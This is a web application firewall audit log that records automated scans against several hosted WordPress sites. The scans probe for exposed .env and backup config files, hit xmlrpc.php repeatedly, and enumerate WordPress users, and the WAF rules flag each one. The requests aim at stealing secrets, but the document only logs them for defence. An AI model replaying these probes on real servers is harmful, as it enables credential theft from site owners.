"/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/test/bdd/fixtures/couchdb/.env"] [unique_id "aE9nbC2Tu2VxEl4lA7DeVAAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034284848298 670026 (- - -) Stopwatch2: 1750034284848298 670026; combined=1697, p1=408, p2=1198, p3=0, p4=0, p5=91, sr=119, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --79ef2127-Z-- --464a7975-A-- [16/Jun/2025:06:08:13.053082 +0530] aE9ndKpdvXW4_hknQUU2XQAAAAo 185.177.72.210 59482 127.0.0.1 7081 --464a7975-B-- GET /test/bdd/fixtures/edv-rest/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --464a7975-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=865ce73d6451dc30b6e8f443667a4c3a1750034292; expires=Mon, 16 Jun 2025 01:38:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --464a7975-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/test/bdd/fixtures/edv-rest/.env"] [unique_id "aE9ndKpdvXW4_hknQUU2XQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034292326120 727026 (- - -) Stopwatch2: 1750034292326120 727026; combined=1706, p1=343, p2=1256, p3=0, p4=0, p5=106, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --464a7975-Z-- --7547b650-A-- [16/Jun/2025:06:08:18.791451 +0530] aE9neS2Tu2VxEl4lA7DeWgAAAAw 128.199.112.101 59704 127.0.0.1 7081 --7547b650-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --7547b650-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --7547b650-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9neS2Tu2VxEl4lA7DeWgAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034297846843 944685 (- - -) Stopwatch2: 1750034297846843 944685; combined=2113, p1=431, p2=1296, p3=42, p4=65, p5=172, sr=134, sw=107, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7547b650-Z-- --e1999013-A-- [16/Jun/2025:06:08:21.036251 +0530] aE9nfNNEcm-DhAkC0ibdYgAAAAY 185.177.72.210 48970 127.0.0.1 7081 --e1999013-B-- GET /site/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e1999013-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cf54c46497ee101c32d79f625ee2e0431750034300; expires=Mon, 16 Jun 2025 01:38:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e1999013-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/site/.env"] [unique_id "aE9nfNNEcm-DhAkC0ibdYgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034300309936 726391 (- - -) Stopwatch2: 1750034300309936 726391; combined=2343, p1=497, p2=1745, p3=0, p4=0, p5=100, sr=112, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e1999013-Z-- --70636d4c-A-- [16/Jun/2025:06:08:36.912744 +0530] aE9njGYZLqtIztZ_Ow_q7AAAAAg 185.177.72.210 53064 127.0.0.1 7081 --70636d4c-B-- GET /docker/postgres/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --70636d4c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5c843d47d701262522bd8d2de1fb36fd1750034316; expires=Mon, 16 Jun 2025 01:38:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --70636d4c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/docker/postgres/.env"] [unique_id "aE9njGYZLqtIztZ_Ow_q7AAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034316185997 726822 (- - -) Stopwatch2: 1750034316185997 726822; combined=1917, p1=362, p2=1457, p3=0, p4=0, p5=97, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --70636d4c-Z-- --867ebb1d-A-- [16/Jun/2025:06:08:52.995018 +0530] aE9nnJ16HYQp4eDf7R1WlwAAAAI 185.177.72.210 59372 127.0.0.1 7081 --867ebb1d-B-- GET /credentials/config.php.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --867ebb1d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d35f9e43bff31056b8e3f23d2b45ca091750034332; expires=Mon, 16 Jun 2025 01:38:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --867ebb1d-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/credentials/config.php.bak"] [unique_id "aE9nnJ16HYQp4eDf7R1WlwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034332320037 675092 (- - -) Stopwatch2: 1750034332320037 675092; combined=2037, p1=444, p2=1458, p3=0, p4=0, p5=135, sr=124, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --867ebb1d-Z-- --5c590237-A-- [16/Jun/2025:06:08:56.016178 +0530] aE9nn9VsbyFDndheOrk2OQAAAAE 185.177.72.210 59526 127.0.0.1 7081 --5c590237-B-- GET /core/app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5c590237-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d1265bb9f0b1239db1dd20faad54d1231750034335; expires=Mon, 16 Jun 2025 01:38:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5c590237-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/core/app/.env"] [unique_id "aE9nn9VsbyFDndheOrk2OQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034335334393 681845 (- - -) Stopwatch2: 1750034335334393 681845; combined=1745, p1=378, p2=1288, p3=0, p4=0, p5=79, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5c590237-Z-- --09063934-A-- [16/Jun/2025:06:08:59.370553 +0530] aE9novbo0R64L12N_alV6wAAAAQ 185.177.72.210 59726 127.0.0.1 7081 --09063934-B-- GET /secure/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --09063934-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c130f7317bc2b2ba50d787d9d52492a71750034339; expires=Mon, 16 Jun 2025 01:38:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --09063934-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/secure/.env.staging"] [unique_id "aE9novbo0R64L12N_alV6wAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034338708642 661983 (- - -) Stopwatch2: 1750034338708642 661983; combined=2179, p1=397, p2=1694, p3=0, p4=0, p5=87, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --09063934-Z-- --3b5d2f7d-A-- [16/Jun/2025:06:09:01.324595 +0530] aE9npDC9bb-fhYp4LpFR-AAAAAM 185.177.72.210 36364 127.0.0.1 7081 --3b5d2f7d-B-- GET /srv6_controller/examples/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3b5d2f7d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4a444eccdb22336f7e71fb51af25dde91750034341; expires=Mon, 16 Jun 2025 01:39:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3b5d2f7d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/srv6_controller/examples/.env"] [unique_id "aE9npDC9bb-fhYp4LpFR-AAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034340668257 656428 (- - -) Stopwatch2: 1750034340668257 656428; combined=1911, p1=386, p2=1347, p3=0, p4=0, p5=178, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3b5d2f7d-Z-- --b75b5811-A-- [16/Jun/2025:06:09:18.355727 +0530] aE9ntVXriBOgqnJNgkwiDgAAAAA 128.199.112.101 50406 127.0.0.1 7081 --b75b5811-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --b75b5811-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --b75b5811-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9ntVXriBOgqnJNgkwiDgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034357311105 1044678 (- - -) Stopwatch2: 1750034357311105 1044678; combined=2312, p1=377, p2=1453, p3=47, p4=73, p5=219, sr=109, sw=143, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b75b5811-Z-- --4d2bda69-A-- [16/Jun/2025:06:09:24.436038 +0530] aE9nu516HYQp4eDf7R1WqgAAAAI 143.244.57.121 59204 127.0.0.1 7081 --4d2bda69-B-- GET //wp-json/wp/v2/users/ HTTP/1.0 Host: www.retaxis.com X-Real-IP: 143.244.57.121 X-Accel-Internal: /internal-nginx-static-location Connection: close Cookie: _sfs_id=8ffc1392bfc6b419814a636cdcf7da761750034362 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 --4d2bda69-F-- HTTP/1.1 401 Unauthorized X-Powered-By: PHP/8.2.28 X-Robots-Tag: noindex Link: <https://www.retaxis.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Vary: Origin,Accept-Encoding Connection: close Content-Type: application/json; charset=UTF-8 --4d2bda69-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.retaxis.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.retaxis.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.retaxis.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE9nu516HYQp4eDf7R1WqgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/retaxis.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034363310537 1125567 (- - -) Stopwatch2: 1750034363310537 1125567; combined=2138, p1=345, p2=1703, p3=0, p4=0, p5=89, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4d2bda69-Z-- --53635428-A-- [16/Jun/2025:06:09:53.820648 +0530] aE9n2Z_Rv4EBtUyS5c4G4QAAAAU 185.177.72.210 60110 127.0.0.1 7081 --53635428-B-- GET /:8181/.env.txt HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --53635428-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=10b7b22b476296b0ca72da83d41a7f611750034393; expires=Mon, 16 Jun 2025 01:39:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --53635428-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/.env.txt"] [unique_id "aE9n2Z_Rv4EBtUyS5c4G4QAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034393024769 795957 (- - -) Stopwatch2: 1750034393024769 795957; combined=1666, p1=384, p2=1170, p3=0, p4=0, p5=111, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --53635428-Z-- --29cff220-A-- [16/Jun/2025:06:09:55.901840 +0530] aE9n2y2Tu2VxEl4lA7DemAAAAAw 185.177.72.210 60232 127.0.0.1 7081 --29cff220-B-- GET /counterblockd/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --29cff220-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=526d46f5f4ea4fb9e4d0c8c58192c3fc1750034395; expires=Mon, 16 Jun 2025 01:39:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --29cff220-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/counterblockd/.env"] [unique_id "aE9n2y2Tu2VxEl4lA7DemAAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034395214033 687890 (- - -) Stopwatch2: 1750034395214033 687890; combined=1857, p1=407, p2=1330, p3=0, p4=0, p5=120, sr=113, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --29cff220-Z-- --5f4fcc7c-A-- [16/Jun/2025:06:10:05.156392 +0530] aE9n5C2Tu2VxEl4lA7DenAAAAAw 185.177.72.210 45700 127.0.0.1 7081 --5f4fcc7c-B-- GET /services/monitoring/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5f4fcc7c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3abe95095916617729a737baf1fee9bd1750034405; expires=Mon, 16 Jun 2025 01:40:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5f4fcc7c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/services/monitoring/.env"] [unique_id "aE9n5C2Tu2VxEl4lA7DenAAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034404406774 749712 (- - -) Stopwatch2: 1750034404406774 749712; combined=1813, p1=415, p2=1308, p3=0, p4=0, p5=89, sr=108, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5f4fcc7c-Z-- --563cbb56-A-- [16/Jun/2025:06:10:09.325619 +0530] aE9n6KpdvXW4_hknQUU2mQAAAAo 185.177.72.210 45884 127.0.0.1 7081 